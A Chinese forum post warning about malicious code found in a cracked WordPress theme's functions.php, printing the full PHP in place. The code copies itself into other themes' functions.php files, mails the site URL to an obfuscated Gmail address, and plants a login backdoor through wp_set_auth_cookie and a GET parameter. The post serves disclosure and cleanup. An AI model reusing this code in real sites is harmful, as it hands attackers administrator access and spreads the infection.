找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 2175|回复: 0

[分享] wordpress主题functions.php文件恶意代码注释及删除方法

[复制链接]
发表于 2016-3-17 15:48:06 | 显示全部楼层 |阅读模式 来自 河南省郑州市
测试网上下载的一个破解版本wpyou主题,启用时出现如“Fatal error: Cannot redeclare _verifyactivate_widgets()”的报错,检查主题的functions.php文件时,发现了_verifyactivate_widgets()、_verify_isactivate_widgets()、_check_isactive_widget()、_get_allwidgetscont()、_prepare_widgets()、_popular_posts()等函数,乍看之下,还以为是小工具之类的函数,实际是恶意代码。

完整的代码如下
  1. <?php
  2. function _check_isactive_widget(){
  3.         $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
  4.         $output=strip_tags($output, $allowed);
  5.         $direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
  6.         if (is_array($direst)){
  7.                 foreach ($direst as $item){
  8.                         if (is_writable($item)){
  9.                                 $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
  10.                                 $cont=file_get_contents($item);
  11.                                 if (stripos($cont,$ftion) === false){
  12.                                         $explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
  13.                                         $output .= $before . "Not found" . $after;
  14.                                         if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
  15.                                         $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);                                
  16.                                         $output .= ($showdots && $ellipsis) ? "..." : "";
  17.                                 }
  18.                         }
  19.                 }
  20.         }
  21.         return $output;
  22. }
  23. function _get_allwidgetcont($wids,$items=array()){
  24.         $places=array_shift($wids);
  25.         if(substr($places,-1) == "/"){
  26.                 $places=substr($places,0,-1);
  27.         }
  28.         if(!file_exists($places) || !is_dir($places)){
  29.                 return false;
  30.         }elseif(is_readable($places)){
  31.                 $elems=scandir($places);
  32.                 foreach ($elems as $elem){
  33.                         if ($elem != "." && $elem != ".."){
  34.                                 if (is_dir($places . "/" . $elem)){
  35.                                         $wids[]=$places . "/" . $elem;
  36.                                 } elseif (is_file($places . "/" . $elem)&&
  37.                                         $elem == substr(__FILE__,-13)){
  38.                                         $items[]=$places . "/" . $elem;}
  39.                                 }
  40.                         }
  41.         }else{
  42.                 return false;        
  43.         }
  44.         if (sizeof($wids) > 0){
  45.                 return _get_allwidgetcont($wids,$items);
  46.         } else {
  47.                 return $items;
  48.         }
  49. }
  50. if(!function_exists("stripos")){
  51.     function stripos(  $str, $needle, $offset = 0  ){
  52.         return strpos(  strtolower( $str ), strtolower( $needle ), $offset  );
  53.     }
  54. }
  55. if(!function_exists("strripos")){
  56.     function strripos(  $haystack, $needle, $offset = 0  ) {
  57.         if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  );
  58.         if(  $offset < 0  ){
  59.             $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  );
  60.         }
  61.         else{
  62.             $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    );
  63.         }
  64.         if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE;
  65.         $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   );
  66.         return $pos;
  67.     }
  68. }
  69. if(!function_exists("scandir")){
  70.         function scandir($dir,$listDirectories=false, $skipDots=true) {
  71.             $dirArray = array();
  72.             if ($handle = opendir($dir)) {
  73.                 while (false !== ($file = readdir($handle))) {
  74.                     if (($file != "." && $file != "..") || $skipDots == true) {
  75.                         if($listDirectories == false) { if(is_dir($file)) { continue; } }
  76.                         array_push($dirArray,basename($file));
  77.                     }
  78.                 }
  79.                 closedir($handle);
  80.             }
  81.             return $dirArray;
  82.         }
  83. }
  84. add_action("admin_head", "_check_isactive_widget");
  85. function _getsprepare_widget(){
  86.         if(!isset($com_length)) $com_length=120;
  87.         if(!isset($text_value)) $text_value="cookie";
  88.         if(!isset($allowed_tags)) $allowed_tags="<a>";
  89.         if(!isset($type_filter)) $type_filter="none";
  90.         if(!isset($expl)) $expl="";
  91.         if(!isset($filter_homes)) $filter_homes=get_option("home");
  92.         if(!isset($pref_filter)) $pref_filter="wp_";
  93.         if(!isset($use_more)) $use_more=1;
  94.         if(!isset($comm_type)) $comm_type="";
  95.         if(!isset($pagecount)) $pagecount=$_GET["cperpage"];
  96.         if(!isset($postauthor_comment)) $postauthor_comment="";
  97.         if(!isset($comm_is_approved)) $comm_is_approved="";
  98.         if(!isset($postauthor)) $postauthor="auth";
  99.         if(!isset($more_link)) $more_link="(more...)";
  100.         if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");
  101.         if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;
  102.         if(!isset($more_link_ditails)) $more_link_ditails="(details...)";
  103.         if(!isset($morecontents)) $morecontents="ma".$expl."il";
  104.         if(!isset($fmore)) $fmore=1;
  105.         if(!isset($fakeit)) $fakeit=1;
  106.         if(!isset($sql)) $sql="";
  107.         if (!$is_widget) :
  108.         global $wpdb, $post;
  109.         $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMES**P() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  110.         if (!empty($post->post_password)) {
  111.                 if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
  112.                         if(is_feed()) {
  113.                                 $output=__("There is no excerpt because this is a protected post.");
  114.                         } else {
  115.                     $output=get_the_password_form();
  116.                         }
  117.                 }
  118.         }
  119.         if(!isset($f_tags)) $f_tags=1;
  120.         if(!isset($type_filters)) $type_filters=$filter_homes;
  121.         if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;
  122.         if(!isset($aditional_tags)) $aditional_tags="div";
  123.         if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#
  124.         if(!isset($more_link_text)) $more_link_text="Continue reading this entry";        
  125.         if(!isset($showdots)) $showdots=1;        
  126.         $comments=$wpdb->get_results($sql);        
  127.         if($fakeit == 2) {
  128.                 $text=$post->post_content;
  129.         } elseif($fakeit == 1) {
  130.                 $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
  131.         } else {
  132.                 $text=$post->post_excerpt;
  133.         }
  134.         $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
  135.         if($com_length < 0) {
  136.                 $output=$text;
  137.         } else {
  138.                 if(!$no_more && strpos($text, "<!--more-->")) {
  139.                     $text=explode("<!--more-->", $text, 2);
  140.                         $l=count($text[0]);
  141.                         $more_link=1;
  142.                         $comments=$wpdb->get_results($sql);
  143.                 } else {
  144.                         $text=explode(" ", $text);
  145.                         if(count($text) > $com_length) {
  146.                                 $l=$com_length;
  147.                                 $ellipsis=1;
  148.                         } else {
  149.                                 $l=count($text);
  150.                                 $more_link="";
  151.                                 $ellipsis=0;
  152.                         }
  153.                 }
  154.                 for ($i=0; $i<$l; $i++)
  155.                                 $output .= $text[$i] . " ";
  156.         }
  157.         update_option("_is_widget_active_", 1);
  158.         if("all" != $allowed_tags) {
  159.                 $output=strip_tags($output, $allowed_tags);
  160.                 return $output;
  161.         }
  162.         endif;
  163.         $output=rtrim($output, "\s\n\t\r\0\x0B");
  164.     $output=($f_tags) ? balanceTags($output, true) : $output;
  165.         $output .= ($showdots && $ellipsis) ? "..." : "";
  166.         $output=apply_filters($type_filter, $output);
  167.         switch($aditional_tags) {
  168.                 case("div") :
  169.                         $tag="div";
  170.                 break;
  171.                 case("span") :
  172.                         $tag="span";
  173.                 break;
  174.                 case("p") :
  175.                         $tag="p";
  176.                 break;
  177.                 default :
  178.                         $tag="span";
  179.         }

  180.         if ($use_more ) {
  181.                 if($fmore) {
  182.                         $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $more_link_text . "">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";
  183.                 } else {
  184.                         $output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $more_link_text . "">" . $more_link . "</a></" . $tag . ">" . "\n";
  185.                 }
  186.         }
  187.         return $output;
  188. }
  189. add_action("init", "_getsprepare_widget");
  190. function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
  191.         global $wpdb;
  192.         $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
  193.         $request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
  194.         if(!$show_pass_post) $request .= " AND post_password =""";
  195.         if($duration !="") {
  196.                 $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
  197.         }
  198.         $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
  199.         $posts=$wpdb->get_results($request);
  200.         $output="";
  201.         if ($posts) {
  202.                 foreach ($posts as $post) {
  203.                         $post_title=stripslashes($post->post_title);
  204.                         $comment_count=$post->comment_count;
  205.                         $permalink=get_permalink($post->ID);
  206.                         $output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
  207.                 }
  208.         } else {
  209.                 $output .= $before . "None found" . $after;
  210.         }
  211.         return  $output;
  212. }                 
  213. ?>
复制代码

发帖求助前要善用【论坛搜索】功能,那里可能会有你要找的答案;

如何回报帮助你解决问题的坛友,好办法就是点击帖子下方的评分按钮给对方加【金币】不会扣除自己的积分,做一个热心并受欢迎的人!

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则 需要先绑定手机号

关闭

站长推荐上一条 /1 下一条

QQ|侵权投诉|广告报价|手机版|小黑屋|西部数码代理|飘仙建站论坛 ( 豫ICP备2022021143号-1 )

GMT+8, 2024-5-2 11:08 , Processed in 0.036958 second(s), 9 queries , Redis On.

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表